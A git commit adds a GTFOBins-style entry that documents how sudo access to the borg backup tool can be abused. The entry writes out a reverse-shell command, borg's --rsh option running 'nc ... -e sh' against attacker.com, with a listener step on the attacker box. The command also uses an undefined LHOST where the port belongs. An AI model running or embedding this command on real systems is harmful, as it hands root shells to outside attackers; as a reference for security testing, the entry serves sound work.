Create borg.md

This commit is contained in:
JM Sanchez 2024-08-18 23:45:53 +08:00 committed by GitHub
parent b724cd9bc1
commit b2d28b6a18
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

9
_gtfobins/borg.md Normal file
View File

@ -0,0 +1,9 @@
---
sudo:
- description: Run `nc -l -p 12345` on the attacker box to receive the shell.
code: |
RHOST=attacker.com
RPORT=12345
NETCAT=/usr/bin/nc
sudo borg extract .@.:/::. --rsh "$NETCAT $RHOST $LHOST -e sh"
---